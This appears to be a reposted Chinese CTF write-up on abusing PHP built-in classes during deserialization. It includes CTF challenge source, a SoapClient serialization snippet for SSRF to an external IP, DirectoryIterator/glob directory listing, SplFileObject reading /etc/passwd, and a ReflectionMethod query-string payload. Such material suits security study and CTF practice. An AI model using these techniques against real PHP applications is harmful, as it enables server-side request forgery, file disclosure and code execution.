1. 程式人生 > 其它 >[php安全]原生類的利用

[php安全]原生類的利用

php原生類的利用

檢視原生類中具有魔法函式的類
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'    // 可以根據題目環境將指定的方法新增進來, 來遍歷存在指定方法的原生類
        ))) {
            print $class . '::' . $method . "\n"."<br/>";
        }
    }
}
/**
Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
Generator::__wakeup
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
AssertionError::__wakeup
AssertionError::__toString
DOMException::__wakeup
DOMException::__toString
PDOException::__wakeup
PDOException::__toString
PDO::__wakeup
PDOStatement::__wakeup
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
CURLFile::__wakeup
mysqli_sql_exception::__wakeup
mysqli_sql_exception::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
 */

原生類繞 Exception Error 繞過md5/sha1(其實還可以進行xss,可以自行搜尋)

有時候,在題目中出現了反序列化,但是沒有給出具體類,一般不是原始碼洩露再審計,就是利用php的原生類。

[2020 Geek Challenge GreatPHP]

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

我們的目的就是繞過md5和sha1的校驗,最後執行evilCode。
看到md5和sha1的比較,最先想到的就是利用md5和sha1都無法解析陣列繞過,事實證明確實可以繞過md5和sha1的檢測。但卻無法執行程式碼。除錯發現,eval無法解析陣列變數,並返回錯誤。。。這不就直接卡死在這兒。 強型別匹配,除了利用函式解析漏洞,就只能真的靠md5值真相等了。但直接強行找兩個檔案md5值相等,而且有一個其中還是可以執行的程式碼,我覺得這不太可能把!!!

看了大師傅的WP,發現可以用Exception類進行繞過。

$str = "?>"; 中為什麼要在前面加上一個 ?> 呢?因為 Exception 類與 Error 的 __toString 方法在eval()函式中輸出的結果是不可控的,即輸出的報錯資訊中,payload前面還有一段雜亂資訊“Error: ”

原生類 SoapClient 進行SSRF

SoapClient是php拓展用於發起web請求的工具。它內建一個__call魔術方法,當被觸發時,會進行web訪問請求。這個比較常用

<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 隨便呼叫物件中不存在的方法, 觸發__call方法進行ssrf
?>

原生類進行目錄遍歷

DirectoryIterator 
FilesystemIterator 
GlobIterator 

DirectoryIterator與glob://協議結合將無視open_basedir對目錄的限制,可以用來列舉出指定目錄下的檔案。

原生類進行讀取檔案

<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

使用 ReflectionMethod 類獲取類方法的相關資訊

[2021 CISCN]easy_source

<?php
class User
{
    private static $c = 0;

    function a()
    {
        return ++self::$c;
    }

    function b()
    {
        return ++self::$c;
    }

    function c()
    {
        return ++self::$c;
    }

    function d()
    {
        return ++self::$c;
    }

    function e()
    {
        return ++self::$c;
    }

    function f()
    {
        return ++self::$c;
    }

    function g()
    {
        return ++self::$c;
    }

    function h()
    {
        return ++self::$c;
    }

    function i()
    {
        return ++self::$c;
    }

    function j()
    {
        return ++self::$c;
    }

    function k()
    {
        return ++self::$c;
    }

    function l()
    {
        return ++self::$c;
    }

    function m()
    {
        return ++self::$c;
    }

    function n()
    {
        return ++self::$c;
    }

    function o()
    {
        return ++self::$c;
    }

    function p()
    {
        return ++self::$c;
    }

    function q()
    {
        return ++self::$c;
    }

    function r()
    {
        return ++self::$c;
    }

    function s()
    {
        return ++self::$c;
    }

    function t()
    {
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];    // 傳入原生類名
$rb=$_GET["rb"];    // 傳入類屬性
$ra=$_GET["ra"];    // 傳入類屬性
$rd=$_GET["rd"];    // 傳入類方法
$method= new $rc($ra, $rb);    // 例項化剛才傳入的原生類
var_dump($method->$rd());     // 呼叫類中的方法

利用 PHP 內建類中的 ReflectionMethod 類中的 getDocComment() 方法來讀取 User 類裡面各個函式的註釋。

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

[Refer](https://whoamianony.top/2021/03/10/Web安全/PHP 原生類的利用小結/)